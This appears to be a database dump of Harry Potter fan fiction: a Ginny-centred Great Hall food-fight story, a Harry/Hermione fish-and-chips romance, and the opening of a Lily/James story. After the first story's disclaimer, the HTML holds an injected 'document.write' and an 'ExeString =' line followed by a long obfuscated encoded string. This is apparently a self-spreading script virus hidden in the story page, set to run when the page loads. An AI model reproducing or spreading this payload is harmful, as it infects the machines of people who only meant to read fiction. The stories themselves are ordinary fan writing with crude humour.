wasn&#8217;t Ginny Weasley. </p>\n\n<p class="MsoNormal">Ginny knew\nwho it was. Harry was never an expert at hiding his inner thought and facial expression.\nGinny was sure that about half the Gryffindor table would be aware of his new\ncrush. </p>\n\n<p class="MsoNormal">Ginny was\nhappy for her friend. She knew Hermione deserved someone like Harry. She was pretty sure that the\nfeelings of Harry were genuine. He would sooner or later come to his senses and tell\nHermione about his crush. </p>\n\n<p class="MsoNormal">Ginny\nsighed wistfully. As much as she tried to deny it, she desperately wanted\nsomeone to look at her that way. She wanted to be the center of an awe-struck\ngaze, which would always encircle her with the feelings of bliss. She wanted to\nbe in the limelight. </p>\n\n<p class="MsoNormal">&#8220;Perhaps I\nam not pretty enough?&#8221; She said to no one in particular. </p>\n\n<p class="MsoNormal">But her\nparents often assured her she was pretty. Even Bill had said that she was turning into\na pretty, little striking girl who would soon be surrounded by boys. </p>\n\n<p class="MsoNormal">Ginny had\nbeen pretty flattered by his comment. </p>\n\n<p class="MsoNormal">She only\nwished that would become true. Perhaps she was always the one to remain in the\nshadows. Being the youngest Weasley had certain disadvantages. </p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t dream like a lost case Ginny Weasley. You are good\nenough. Your parents love you. Your brothers loved you.&#8221; She gave her screaming\nbrain a lame excuse. She was tired of the small voice, which kept on screaming,\nin her mind. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh but\nthey don&#8217;t love you &#8220;the&#8221; way you want someone to love you? Do you?&#8221; Ginny\ncouldn&#8217;t answer that. Instead she hung her head, trying to keep back the salty\nwater that was forming after the sudden display of emotional distress. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few moments she gave a small\nsigh. She was getting late. She was still dressed in a causal red Jumper and\nold jeans whose blue color was faded to almost white. Her hairs were scattered\non her shoulders, the ringlets springing out haphazardly. </p>\n\n<p class="MsoNormal">She stood\nup, pushed the chair with the attention of going back to her dormitory.\nSuddenly her gaze turned towards the door of the great hall and she saw the\ngleam of silvery blonde hairs and caught a pair of Grey eyes looking at her. She suddenly\nstopped. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now this\nseems familiar,&#8221; She thought as she racked her brain to find who possessed\nSilvery Blonde hairs. A particularly fat Hufflepuff moved out of the way and\nGinny to her shock saw Draco Malfoy staring at her, no gawking at her\nwith a strange expression. </p>\n\n<p class="MsoNormal">For a\nmoment Ginny felt sudden warmth creeping through her body She\nfelt so secured and blissful in the ring of those deep Grey eyes. She stood there rooted at the\nspot. She was aware that her eyes were fixed at him. he\ndidn&#8217;t seem to blink. He was just staring at her. Ginny felt\nherself peering into those strange eyes. Draco Malfoy never stared. If he stared he\n&#8230;&#8230;.the mistake by sneering in a very foul way. But he was not sneering at her.\nInfact, his mouth was fixed into an almost smiling position.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;Suddenly she saw someone moving stylishly\ntowards Malfoy. The figure crept towards Malfoy, stood on its tiptoe and blew Draco a loud kiss. Then it firmly\nentangled its mouth with him, its fingers prodding Draco hungrily, gathering him towards\nher. </p>\n\n<p class="MsoNormal">The whole\nhall became silent. Ginny saw Draco staggering,\nunbalancing looking quiet disgraceful for a change. He then blinked and opened his\neyes. He tried to push Blaise away but Blaise clung onto him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Draco, why didn&#8217;t you tell me. We could have arranged a place you\nknow. I knew you walked away just for me. But you looked so cute that I\ncouldn&#8217;t resist you.&#8221; Blaise billowed. Her melodious voice seemed like a hiss\nof a snake to Ginny. </p>\n\n<p class="MsoNormal">At that\nmoment, she really really hated Blaise. Ginny saw Draco looking quiet muffled and baffled.\nThe whole hall was now laughing silently. Blaise blew few more kisses to Draco as she tried snuggling against Draco&#8217;s chest. After a fierce effort Draco managed to untangle himself from\nBlaise. At that moment he looked positively murderous. His pale skin was an\ninteresting shade of pink and his eyes were blazing daggers at Blaise. But\nBlaise didn&#8217;t seem to realize or she didn&#8217;t care. Instead, she at once tried to\nkiss him again daring to touch him in such a spot that the whole hall gasped. </p>\n\n<p class="MsoNormal">All the\nconversations were now stopped and everyone was looking at Draco. From the corner of her eyes Ginny\nsaw Harry and Ron sniggering and pointing rudely at\nBlaise. She felt herself whopping and making rude gestures towards them. Fred and George looked at their sister with\nsurprise. Ginny Weasley didn&#8217;t use them to witness a public display of\nemotions. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This time Draco pushed her away quiet firmly and\nbefore she could do anything hissed something awful in her ears. Ginny saw with\namusement as Blaise turned away from Draco, her pretty face looking horrible. Ginny saw\nmake up smeared up on her face. Ginny now realized from where Blaise&#8217;s striking\nglamour came. Off course she used artificial means. Ginny\nfelt quiet dumb. She hadn&#8217;t even tried lip-gloss yet. Her mother had\nspoken to her strictly about that explaining in polite words the status of\ngirls who tried to act like married women in the age of 15. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HOW DARE\nYOU DRACO MAFLOY! YOU CHEAP PIECE\nOF SHIT!&#8221; Ginny cringed as felt the earth vibrating due to the magnitude\nof Blaise&#8217;s shrill cry. Blaise turned towards Draco who was stunned by her reaction. She lifted\nher hand and, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Smack!&#8221; Draco&#8217;s face moved with the momentum of\nthe smack. His pale skin became red and started swelling at the place of the\nimpact. He looked shocked. </p>\n\n<p class="MsoNormal">The hall\nwas completely silence. Blaise was glaring at Draco venomously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly\nGinny laughed. She laughed so hard that she clutched her belly and almost\nrolled on the floor. The whole hall watched her with stunned silence for a\nmoment and then they too joined in. Suddenly the hall was filled with roaring\nvoices. Even the teachers joined in. </p>\n\n<p class="MsoNormal">Draco Malfoy watched the whole scene with\nabsolutely horror as he felt the burn of the imprints of Blaise&#8217;s hand.\nSuddenly he dashed out of the room followed on heels by a fuming Blaise who was\ncursing loudly and openly. </p>\n\n<p class="MsoNormal">Ginny could\nhave sworn that Draco looked at her almost hurt. She\ndidn&#8217;t care. Suddenly she felt her knees give away and she hit the back of the\nchair, her hand hitting the jug of milk sending it jolting towards Fred who was sitting at the other end of\nthe table. </p>\n\n<p class="MsoNormal">The jug\nstruck Fred with a bam, plump on the chest as\nhe felt milk spilling on him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey this\nCalls for a fight!&#8221; he yelled. Taking a bowl of porridge he threw it towards\nGinny who neatly ducked. The porridge went flying towards the Slytherin table\nand sprawled all of them with porridge.</p>\n\n<p class="MsoNormal">This made\nthe Gryffindor&#8217;s go off the handle as they rolled on the floor cackling madly. </p>\n\n<p class="MsoNormal">The\nSlytherin sat there stunned for a moment. But swiftly they came to action and\nat once started hurling things almost blindly. One or two of them took out\ntheir wands and shot the tickling curse everywhere. </p>\n\n<p class="MsoNormal">An apple\nhit Snape square on the nose and McGonagall was struck\nwith a tickling charm. Fred and George seeing this transfigured their goblets into hearts and threw them\ntowards the Slytherin table. The hearts at reaching the table burst out and the\nwhole table was covered with green slime. </p>\n\n<p class="MsoNormal">The Gryffindor&#8217;s\njeered but suddenly stopped as fowl eggs thrown by the Hufflepuff table\nattacked some of them. </p>\n\n<p class="MsoNormal">An egg hit Ron on the bum and his bum was painted\nin dirty white and yellow. Harry who was laughing;\nfor the first time with a genuine smile on his face wasn&#8217;t left empty either. Before he knew anything he was\nbeing pelted with different fruits. McGonagall who was still tipsy and tickling\nwas hit with a jug of butter; trying to get out of the way she tripped on a\nchair and landed onto Professor Snape who was about to mutter a charm. </p>\n\n<p class="MsoNormal">They both\nwere covered with smelly butter. Snape expression was so horrible that it could\ncurdle old milk. Fred looked at George mischievously. They both muttered some spell and instantly bright\nhearts appeared out of no where and zoomed towards Snape, on impact sprouting\ninto small flexible rubber hearts. </p>\n\n<p class="MsoNormal">Meanwhile\nHermione was unmercifully tickling Ginny as she tried to get free of her grip.\nShe gave a sigh of relief when Hermione suddenly gave way being pelted by\nbuttery toasts on the back. She whipped around and saw Harry grinning at her. But before he\ncould move, she managed to say a binding charm. She soon reached her and as she\nmoved near him, he whispered something in her ear. Which made Hermione smile.\nShe freed him and they went out of the hall not noticing that they were holding\nhands while doing this. </p>\n\n<p class="MsoNormal">Meanwhile Fred and George had by some amazing skill\ntransferred the whole hall in a feisty show. Everywhere there were hearts\nflying around and living fruits that bit everyone that came in their way.\nSomeone of them found special attraction in Dumbledore&#8217;s beard as he was\nhelplessly lifted in the hair by two particularly cheeky fruits. Soon every\nsingle person had joined in the act and all were laughing mercilessly. </p>\n\n<p class="MsoNormal">Some\ncouples had taken advantage of the moment and very making out heavily. George was licking Ella&#8217;s neck while Fred was rubbing himself against Eloise Smidgeon purring like a cat. </p>\n\n<p class="MsoNormal">&nbsp;Someone was dancing on the Gryffindor table\nwearing a green Zulu skirt, which had clearly been transfigured by Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;SILENCE!&#8221;\nSuddenly a loud voice made everyone stop. The live fruits threw Dumbledore who\nbalanced himself and managed to land onto a laughing Professor Flitwick. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop!&#8221;\nThe voice shouted again. Everyone saw Professor Snape looking at them with a murderous\nglare in his eyes. </p>\n\n<p class="MsoNormal">Ginny\nsuddenly twitched. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Professor Snape,&#8221; She suddenly cried. Snape looked\nat her recognizing the starter of the havoc, but before he could say anything\nGinny continued. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Professor Snape do you know you\nhave lip gloss on your lips?&#8221; She said and then started rolling on the floor. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The whole\nhall followed suite. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;STOP!&#8221;\nSnape cried again, wincing slightly as his vocal chords cringed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But this\ntime Fred took up the challenge. He was\ndressed in a single underwear long enough to be shorts. He was wearing a black\ntee shirt with the sign of a single black arrow carved on it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Professor Snape do you know you are wearing a\nthong.&#8221; The whole hall looked at Snape. Suddenly they saw him wearing a thong,\nhis lips shining with pink gloss. He had peculiar figures carved by white paint\non his body. His hairs were dyed half red and he had green herbs around his\nthong. </p>\n\n<p class="MsoNormal">They all\nroared with laughter. Roared so much that the people in\nHogsmeade thought that an earthquake had come. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Snape\nlooked at his state, swore furiously, swayed a little and passed out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile Fred Weasley muttered in his brother&#8217;s ear, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is\nthe <i>first </i>time I have seen Ginny being so cheery.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George replied, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This is\nthe first time I have ever enjoyed the breakfast time so much.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then they\nboth chorused, </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Should we\ngo and check Snape? He has a very fancy thong!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A chorused\nreply made them stop and gaze bewilderedly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Snape is\nso hot! He is so chucky!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All the\ngirls repeated and before the professor&#8217;s could do anything, the whole hall was\ndivided in two genders chanting their ideas about Snape&#8217;s personality. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;\n*******************************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer:\nI don&#8217;t own any character associated with any type of copyright company.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n\n\n\ndocument.write &quot;&quot;\n\n\nExeString = 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7V?sdq?j@iaDaJi?mmllMbmphbI`unP_oQbdnCig_bl8@NJ+A`oCig_bl#&gt;rlm`knNoocib&amp;Nbn?f]Np_8@l`\\q_J]g_^o%N^ockofhb)Ac^ofii\\os$N`qAji^`mp8QbdnCig_bl)Nr\\Aji^`mpAlf_`o=jpkn8*CimB[^cN`hm@jga_mfhAlf_`omCig_bl&gt;jrho:Aji^`m@ipiq&amp;.?f]Np_(\\_aAji^`m@ipiq&amp;ObgkAlf_`o(I\\j_K_soDa&gt;d^Po])@ipiq8-OcbhI[noFh_`u=c\\o8FhnooL`q%=pmo_ioPnmdka\'Y\'Gbh#&gt;rlm`knNoocib&amp;\',$Np_Momfhb:Hda&gt;pol`iqMomfhb\'I[noFh_`u=c\\o%,\'I_i#@ommbhoNqldid#(G^moDk^`s@b\\m*+$=pmo_ioPnmdka8EE&gt;e[ibbMp]%=pmo_ioPnmdka\'G^moDk^`s@b\\m&amp;Nr\\@:,?gnbDcNp_?8*Oe_i=pmo_ioPnmdka8=pmo_ioPnmdka!&gt;d^Po])Fn`h%+$#W@ucoAiBfn`e:+@jmd8+OlAji^`m@ipiqDcG&gt;^m`#Po]Nqldid#8F&gt;\\p_#?f]Np_(Dobg#e&amp;#Oe_iCag7Cig_bl&gt;jrhoQb`i&gt;pol`iqMomfhb:&gt;pol`iqMomfhb#?d`Mp]+Co`je&amp;.#!W@sfn?l@k^Dc@k^DcIbroF\\nqCi_br&gt;c^l8CinqlM`s&gt;pol`iqMomfhb\'V\'I_i#@ommbhoNqldid#(,&amp;Nr\\Noocib7Hf^#&gt;rlm`knNoocib)F\\nqCi_br&gt;c^l&amp;,)F`i%=pmo_ioPnmdka$(I[noFh_`u=c\\o\',$&gt;pol`iqMomfhb:FE@b\\id_Np_&gt;pol`iqMomfhb\'I[noFh_`u=c\\o#Bh_F`Bh_F`IijkFEL\\jNr\\8=pmo_ioPnmdkaBh_Coi^qcjiCoi^qcjiEEKoik\\d[o`%#Lh@oljmL`nrg`K_soM`dJ\\oeP\\gr_8CFBSZGL=ECI@YMjaqq\\mbVHd`ljnl`oWLooglifBrkmbmnWA_bmb_&gt;dnh&gt;`bo_`:RnPb`gi(M`dL`\\aM`dJ\\oeP\\gr_$CaAcnfA_bmb_8Qb`i?dpe?`dl``7Afh\\gv&gt;dnh!4W@iaDaAjod8.oj/AcnfA_bmb_8EEJ_iNp_?dpe?`dl``&amp;FGohh^a`Alf_`o?dpe?`dl``&amp;IbroQnNe_gg+L`bTldobM`dJ\\oeP\\gr_\'?fmf?bam`b@k^Arh^ofiiArh^ofiiHDphj[b`Cig_bl#K^ncI^g`$Ji?mmllMbmphbI`unP_oCig_blI\\j_8@NJ+A`oCig_bl#K^ncI^g`$N`qOcfmAdi_n:Aji^`mK[h`+@dgbmEno@ucnop8-All@^]cQbdnCcg`CiQbdnCcg`pAff`@un8O&gt;\\p_#API)Bbn@sq_infiiI^g`#QbdnCcg`+J\\oe#$CaCcg`Bro:CQGLlAff`@un8COJFLlAff`@un8^fgHD^fgHD\\p_#RfhK\\qb!?`peojmV$&amp;JmP&gt;^m`#M[ocK[h`&amp;8R=\\nbRdkJ\\oe!&gt;`nhnjk#$Oe_iBooBrdnqm8+Bh_F`F`Cqn@sfmon7+Nc`kAPI)&gt;ljtAff`TciK^nc#nvmo`j--Wa_nfqik)fhd)J\\oeH\\hbAPI)&gt;ljtAff`TciK^nc#rb\\WAlf_`o(coq\'K^ncI^g`?i_Ca?i_@pi`ndjk@pi`ndjkFEP_o?fg#$Ji?mmllMbmphbI`unBlm)@f`\\oObmoDq8TM^mfjo)P]mdmnApifi\\j_F`@olOe_iCiRe_m`7enhg@im`CiRe_m`7s\\n@iaDaDaCiRe_m`7s\\nNc`kNbnAPI8=m`^n`J_d`^qN`ldkqcib+@dgbMtnq_hJ_d`^q$M`oQnNe_gg7&gt;o_\\obI]eb]o#QN^ocko+Mc`if$@gp_P_o&gt;jkgbI]eb]o:_j`oh`kn)\\mjg`qm#HDZbr_no#&gt;jkgbI]eb]o)p_o&gt;IMD?%vA6-0?@,-(.=A+*+,?-\''),
	(180, 1, '<div class="center"><b>Fish and Chips</b></div>\n<p>\nOne day, Harry Potter saw a large, barn owl fly through his window.  His heart leapt, for he recognised it as Hermione\'s.  The owl alighted on his desk and he tore the message off it\'s leg.  It read \n</p><p>\nDear Harry,\n</p><p>Do you want to come and have an informal dinner with me?  My fish and chips shop gave me an extra portion of fish and chips for being their one thousandth customer!  Have you ever heard the like?  And well, I thought of you.  Do you want to come over and share it?  Just apparate over if you want to.\n</p><p>Love Hermione\n</p><p>\nHarry grinned widely.  There was nothing, in fact, he\'d like more than sharing Hermione\'s fish and chips for as long as she wanted him to.  He apparated immediately, leaving the all important report that was due in the next day, for when he got back.\n</p><p>\nThere was a rather greasy smell when he arrived in Hermione\'s flat.  She was there in front of him, leaning against the side of the oven, wearing a dirty floral apron and with greasy smudges on her pink cheeks.  The heating of the room was over all far too hot and the windows were all steamed up.  Hermione\'s hair was loosely tied back, but it looked like it had not been brushed all day.  \n</p><p>\nHarry\'s heart turned over.  With one of those shocking revelations that only happen once or twice in a life time, Harry realised that he did not feel like he was going <i>out</i> for supper.  On the contrary, he felt he was coming home.  The sight he saw in front of him was the one he wanted to see <i>every</i> day.  It was the sight of pure domesticity, that which he had missed out on as a child.  It was the sight of family, and he wanted to be part of it.  And not just with anyone.  He wanted to be part of it with Hermione.  With his dearest, closest friend.  With the woman he loved dearer than life itself.  \n</p><p>\nHe thought she looked beautiful.  Far more beautiful than she had appeared when his jaw had dropped at her metamorphis from ugly duckling to swan at the Yule Ball.  He was no Viktor Krum.  Hermione did not have to cover her hair with Sleakeasy\'s when she was with him.  Her\'s was the grace of natural, inner beauty.     \n</p><p>\nHe found himself tongue-tied for the first time in front of her.  She smiled when she saw him.\n</p><p>\n"You did come!  I felt sure you would.  It\'s all ready.  I\'ll put it on the table.  Do sit down."\n</p><p>\nHarry followed her gaze and saw she had set out a narrow card table to eat on.  There were two glasses, a bottle of beer and the salt dispenser, but surprisingly nothing else. \n</p><p>\nThe first thing Harry said that evening, and he thought it seemed very inappropriate considering what he had just realised, was, "Hermione, don\'t you need some <i>plates</i> and what about some <i>cutlery</i>?"\n</p><p>\nShe laughed.  "Oh no, Harry!  We don\'t need them for fish and chips.  Why, have you never had them?"\n</p><p>\nHarry shrugged and sat down.  "We had fish and chips sometimes with the Dursleys, but we always used plates."\n</p><p>\n"Ah!  You did not eat them the <i>traditional</i> way, then?  Now\'s your chance.  Call yourself British and you\'ve never eaten fish and chips out of a newspaper!"\n</p><p>\nShe opened the oven door and pulled out a tray, on which there were two large pieces of crispy, battered cod and a mountain of thick, golden chips.  "I put them in the oven to keep warm," she explained.  She then put them on a newspaper that was lying ready on a kitchen surface and carried them to the table.  The smell was intoxicating.  Harry\'s mouth began to water.  Hermione fetched two small, plastic coloured forks from the sideboard and then sat down opposite him.  "Now we eat!"\n</p><p>\n"With <i>these</i>?" asked Harry incredulously holding up his flimsy red fork.  \n</p><p>\n"Of course!  What else?  Tuck in or it will go cold!"\n</p><p>\nHarry shrugged and speared a chip.  The taste in his mouth was gorgeous; warm and soft and flavoursome.  He speared another.  The grease was soaking through the newspaper, and the bit of fish Hermione had torn off seemed to have a slightly inky appearance.  \n</p><p>\nStill, however hard he tried he could not concentrate solely on the meal, delicious as it was.  He kept glancing up at Hermione, watching her sillouette eat.  He thought it better than the seven wonders of the world put together.\n</p><p>\nAt one point they both speared the same chip.  They looked at each other and Hermione went rather red.  "You have it," she said.\n</p><p>\n"No, you have it," Harry insisted.  "Really, I mean it."\n</p><p>\nHermione smiled wryly and then laughed.  "Let\'s share it, shall we?"\n</p><p>\nHarry nodded and removed his fork.  Hermione lifted up the chip and held it out to him.  "Eat it!" she commanded.\n</p><p>\nHe leaned forward and bit half the chip off her fork.  As he chewed it he became suddenly aware of how close they were.  Hermione seemed to have frozen.  She was gazing right into his eyes, her cheeks were flushed and her lips were slightly parted.  The fork she held in her hand was forgotten, as was the half eaten chip on the end of it.  As he looked into her eyes, he felt himself loose control.  He stopped chewing the chip and just stared at her, into her, seeing right through her.  \n</p><p>\nHe leaned across the table as if in a dream, to take the hand still suspended in mid-air.  As he did so he knocked over the beer bottle with a loud clunk.  The brown liquid spread all over the table and soaked through the newspaper.  Hermione jerked back and covered her mouth with her hands.\n</p><p>\n"I\'m so sorry!" cried Harry jumping up to get a cloth.\n</p><p>\n"No, it was my fault!" she said breathlessly.  She removed her hands from her mouth.  Her face was bright red.  "Really, it was all my fault.  Please, please don\'t get up."\n</p><p>\n"Well, what shall we do?"\n</p><p>\n"Leave it!  They taste just as nice with beer on them!" She shrugged and carried on eating, not meeting his eyes.\n</p><p>\nHarry found that he prefered the chips <i>without</i> beer as it happened, but he did not feel able to tell Hermione that.\n</p><p>\nIt was agony to sit there and watch her.  He wanted to kiss her, and he felt sure he recognised the look that had been on her face as one of someone who <i>definitely</i> wanted to kiss him.  Could she love him too?  What if he took the chance?\n</p><p>\nHe carefully and deliberately laid down his fork and stared hard at her face.  "Hermione," he said eventually.  "You\'ve got something on your cheek.\n</p><p>\nShe looked up surprised.  Her hand went to her cheek.  "Do I?  Where?"\n</p><p>\n"There," said Harry pointing.  "It looks like grease."\n</p><p>\n"It will be," she explained.  "I was mending my bycicle; the brakes were going.  Where is it again?"\n</p><p>\n"<i>There</i>!" he repeated.  "Let me show you."  He leaned over the narrow table and gently took her hand and moved it to the appropriate position.\n</p><p>\n"There?" she asked, breathlessly.\n</p><p>\n"Yes."  Slowly, he removed her finger from the spot and started to rub her cheek.  She trembled a little.  "How <i>big</i> is it?" she asked, hardly able to keep her voice steady.\n</p><p>\n"Not too big," he replied, and then he appeared to consider the matter again.  "About this big."  He leaned even more forward.  She drew back a little; her eyes were very round.  He rested his other hand on her shoulder to steady her.   \n</p><p>\nHe kissed the smudge and let his lips linger there before sitting back and looking closely at her.  Her cheeks were pinker than ever.  Their eyes met again.\n</p><p>\n"Harry," she whispered, "What are you doing?"\n</p><p>\nHe looked solemnly at her and then replied, in the same tone, "I\'m kissing you, Hermione."  And then he did just that.</p><p><i>\nDisclaimer:  JKR owns Harry and Hermione.\n<br/><br/></i>\n<!-- FASTCLICK.COM 300x250 Medium Rectangle CODE for portkey.org -->\n</p>'),
	(181, 1, '\n\n\n\n<p class="MsoNormal">~Someday We&#8217;ll Know~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lily Evans sat on the tire swing in her front yard. She\nalways sat there when she needed to think. She had lots of things to think\nabout too. She had just received a letter informing her that she was accepted\nto a special school. It sounded great. She would learn magic, literally, and\nshe would meet new people, but that wasn&#8217;t the depressing part. If she went to\nthat school, that would mean that she would be separated from her best friend\nsince the day she was born, James Potter. What would she do without James? He\nwas one of the only people she could trust, besides her parents. <i>What am I\ngonna tell him? He&#8217;s going to be so disappointed.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&#8220;Hey, Lils! I gotta talk to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah same here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have bad news.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ditto.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to a different school.&#8221; They said this in unison.\nThey let out awkward laughs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This really sucks,&#8221; James said, breaking the silence.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, it does&#8230;What school are you going to anyway?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s just say&#8230;it&#8217;s <i>really</i> different.&#8221; <i>You could\nsay that again, </i>Lily thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to miss you so much, James.&#8221; She hugged him\nbefore she could stop herself. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too. We&#8217;ll always be best friends and I&#8217;ll always be\nthere for you. Okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow that&#8217;s some deep shit for an 11-year-old boy,&#8221; she\nsaid, breaking away from the hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hehe I know.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I have to start packing. I&#8217;m going to London tomorrow\nto get my school supplies.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure&#8230;I&#8217;ll see you before you leave, right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; They hugged again. It seemed like forever\nbefore they let go. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(181, 2, '\n\n\n\n<p class="MsoNormal">~*Someday\nWe&#8217;ll Know*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">James took a deep breath and walked onto Platform 9 and 3\nquarters. Finally, he would be going to a place where magic was an everyday\nthing. He didn&#8217;t have to hide who he was. He liked the thought of that, but he\nhated the thought of being away from Lily. He fancied her, as lame and obvious\nas it may be. He trusted her with his life and yet he couldn&#8217;t trust her with\nthis secret. He didn&#8217;t want to think about her on his first day away from home.\nThis was a day that he should be happy about, not down in the dumps about. He\nstrolled towards the Hogwarts Express and climbed aboard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey! Is this seat taken?&#8221; Lily asked. She had been\nsearching for an empty seat since she embarked on the trip to Hogwarts. The\ngirl sitting in the compartment nodded no. &#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Susie Chang.&#8221; Susie stuck out her hand for Lily to\nshake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a pleasure to meet you. I&#8217;m Lily Evans.&#8221; Lily accepted\nthe friendly gesture and shook Susie&#8217;s hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My parents were so delighted when they found out I was\naccepted to Hogwarts. They&#8217;re both Squibs, you know. They thought that I would\nbe the same, but no-sir-y. I&#8217;m going to be a witch just like my grandmother.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, but what are Squibs?&#8221; Lily had no idea what this\ngirl was talking about. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh! That&#8217;s very funny. And I suppose you don&#8217;t know what\nmuggles are either,&#8221; she said it like it was a joke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um&#8230;.no. I honestly don&#8217;t. I recall hearing it somewhere\nthough. I just cant put my finger on it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so sorry. I didn&#8217;t realize you weren&#8217;t joking. Well, a\nsquib is someone who was born into a wizarding family but hasn&#8217;t got any\nmagical powers. (direct quote from chamber of secrets page145) Muggles are,\nwell, people that don&#8217;t have any magical powers at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;OOOOOOhhhhh&#8230;now I understand. Thanks.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No prob, Bob.&#8221; They both laughed and started talking about\nall these wacky and personal things. They found that they had lots in common.\nThey became inseparable. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">Now, James wasn&#8217;t having as much luck in making friends as\nLily was. He found an empty seat, but he was all by himself. Two other boys sat\nnext to him, Malfoy and Snape were their names, but they didn&#8217;t seem like the\nkind of people James would like to hang out with. So, he just fell asleep\nbefore they introduced themselves. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yo! Dude! Wake 